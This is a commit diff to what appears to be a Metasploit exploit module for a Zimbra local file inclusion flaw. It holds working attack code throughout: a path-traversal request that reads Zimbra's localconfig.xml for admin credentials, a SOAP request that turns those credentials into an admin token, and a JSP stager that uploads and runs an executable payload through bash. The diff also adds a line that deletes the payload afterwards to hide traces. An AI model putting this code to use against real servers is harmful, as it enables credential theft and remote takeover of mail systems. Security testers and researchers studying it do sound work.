various updates

Author: Mekanismen

modules/exploits/unix/webapp/zimbra_lfi.rb

@@ -4,13 +4,13 @@
 ##
 
 require 'msf/core'
-require 'uri'
-
+require 'rexml/document'
 
 class Metasploit3 < Msf::Exploit::Remote
 
   include Msf::Exploit::Remote::HttpClient
   include Msf::Exploit::EXE
+  include REXML
 
   Rank = GreatRanking
 
@@ -46,6 +46,10 @@ def initialize(info = {})
             }
           ],
         ],
+      'DefaultOptions'  =>
+        {
+          'SSL'         => true
+        },
       'DefaultTarget'   => 0,
       'DisclosureDate'  => "Dec 06 2013"
     ))
@@ -56,18 +60,21 @@ def initialize(info = {})
 
     register_advanced_options(
       [
-        OptBool.new('SSL', [ true, 'Negotiate SSL for outgoing connections', true]),
         OptString.new('ALTDIR', [ false, 'Alternative zimbraAdmin directory', "zimbraAdmin"])
       ])
   end
 
   def check
     uri = target_uri.path
-    turl = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00"
-    #doesnt want to play nice if used with vars_get
+
     res = send_request_cgi({
-      'uri' => normalize_uri(uri, datastore['ALTDIR'], turl),
+      'uri' => normalize_uri(uri, datastore['ALTDIR'], "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz"),
       'method' => 'GET',
+      'encode_params' => false,
+      'vars_get' => {
+        'v' => "091214175450",
+        'skin' => "../../../../../../../../../opt/zimbra/conf/localconfig.xml%00"
+      }
     })
 
     unless res and res.code == 200
@@ -90,11 +97,15 @@ def check
 
   def exploit
     uri = target_uri.path
-    turl = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00"
-    #doesnt want to play nice if used with vars_get
+
     res = send_request_cgi({
-      'uri' => normalize_uri(uri, datastore['ALTDIR'], turl),
-      'method' => 'GET'
+      'uri' => normalize_uri(uri, datastore['ALTDIR'], "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz"),
+      'method' => 'GET',
+      'encode_params' => false,
+      'vars_get' => {
+        'v' => "091214175450",
+        'skin' => "../../../../../../../../../opt/zimbra/conf/localconfig.xml%00"
+      }
     })
 
     unless res and res.code == 200
@@ -124,9 +135,7 @@ def exploit
     print_good("#{peer} - Got login credentials!")
     print_status("#{peer} - Getting auth token...")
 
-    soap_req =  "<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
-    soap_req << "<env:Envelope xmlns:env=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:ns1=\"urn:zimbraAdmin\" xmlns:ns2=\"urn:zimbraAdmin\"><env:Header><ns2:context/>"
-    soap_req << "</env:Header><env:Body><ns1:AuthRequest><account by=\"name\">#{zimbra_user}</account><password>#{zimbra_pass}</password></ns1:AuthRequest></env:Body></env:Envelope>"
+    soap_req = build_soap_req(zimbra_user, zimbra_pass) #lets get our hands foamy
 
     res = send_request_cgi({
       'uri'             => normalize_uri(uri, "/service/admin/soap"),
@@ -140,6 +149,7 @@ def exploit
     })
 
     unless res and res.code == 200
+      print_status res.body
       fail_with(Failure::Unknown, "#{peer} - Unable to access service URL")
     end
 
@@ -165,7 +175,6 @@ def exploit
     dpayload = generate_payload_exe
 
     #upload payload
-
     print_status("#{peer} - Uploading .JSP stager and payload")
     post_data = Rex::MIME::Message.new
     post_data.add_part("#{payload_name}", nil, nil, "form-data; name=\"filename1\"")
@@ -218,6 +227,46 @@ def exploit
     })
   end
 
+  def build_soap_req(zimbra_user, zimbra_pass)
+    xml = Document.new
+    soap_var = "ns1:AuthRequest"
+
+    xml.add_element(
+      "soapenv:Envelope",
+      {
+        'xmlns:xsi'     => "http://www.w3.org/2001/XMLSchema-instance",
+        'xmlns:xsd'     => "http://www.w3.org/2001/XMLSchema",
+        'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
+        'xmlns:ser'     => "http://service.emulation.ws.mercury.com",
+        'xmlns:env'     => "http://www.w3.org/2003/05/soap-envelope",
+        'xmlns:ns1'     => "urn:zimbraAdmin",
+        'xmlns:ns2'     => "urn:zimbraAdmin",
+     })
+
+    xml.root.add_element("soapenv:Header")
+    xml.root.add_element("soapenv:Body")
+
+    header = xml.root.elements[1]
+    body = xml.root.elements[2]
+
+    header.add_element("ns2:context")
+    body.add_element("ns1:AuthRequest")
+
+    ns1 =  body.elements[1]
+    ns1.add_element(
+      "account",
+      {
+        'by' => "name"
+      })
+
+    ns1.add_element("password")
+
+    ns1.elements["account"].text  = "#{zimbra_user}"
+    ns1.elements["password"].text = "#{zimbra_pass}"
+
+    return xml.to_s
+  end
+
   def gen_stager(payload_name)
     stager  = "<%@ page import=\"java.util.*,java.io.*\"%>"
     stager += " <%"
@@ -228,6 +277,7 @@ def gen_stager(payload_name)
     stager += " Runtime.getRuntime().exec(\"chmod 700 \" + payload);"
     stager += " Runtime.getRuntime().exec(\"bash -c '\" + payload + \"'\");"
     stager += " Runtime.getRuntime().exec(\"rm \" + jspfile);"
+    stager += " Runtime.getRuntime().exec(\"rm \" + payload);"
     stager += "%>"
     return stager
   end